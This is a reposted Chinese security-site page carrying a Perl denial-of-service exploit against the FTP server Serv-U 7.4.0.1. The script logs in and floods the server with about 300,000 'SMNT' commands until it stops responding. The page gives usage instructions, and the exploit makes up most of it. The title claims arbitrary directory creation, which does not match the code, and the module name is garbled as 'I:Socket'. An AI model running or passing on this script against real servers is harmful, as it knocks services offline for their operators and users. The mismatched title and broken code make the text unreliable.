欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Serv-U 7.4.0.1 (MKD) Create Arbitrary Directories Exploit

来源:本站转载 作者:佚名 时间:2009-03-25 TAG: 我要投稿
Serv-U 7.4.0.1 (MKD) Create Arbitrary Directories Exploit
#!/usr/bin/perl
# Soft    : FTP Serv-U
# Version : v7.4.0.1
#
# Denial of Service in Serv-u up to 7.4.0.1 (no crash)
# Just the server is saturated, it stops responding.
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web:http://www.shell-storm.org


use I:Socket;
print "[+] Author : Jonathan Salwan \n";
print "[+] Soft: FTP Serv-U\n";

        if (@ARGV < 3)
                {
                print "[*] Usage: <serv-u.pl> <host> <port>\n";
                print "[*] Exemple: serv-u.pl 127.0.0.1 21 jonathan toto\n";
                exit;
                }

        $ip         = $ARGV[0];
        $port         = $ARGV[1];
        $user        = $ARGV[2];
        $pass        = $ARGV[3];

$socket = I:Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";

print "\n[+] Connecting: Ok!\n";
print "[+] Sending request...\n";


$evil =        "SMNT\r\n" x 300000;

$after = "\x2A\x2A";

        print $socket "USER $user\r\n";
        print $socket "PASS $pass.$after\r\n";
        print $socket "$evil";
        
                sleep(1);        
                close($socket);

print "[+]Done! the server is saturated.\n";

# milw0rm.com [2009-03-16]
【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载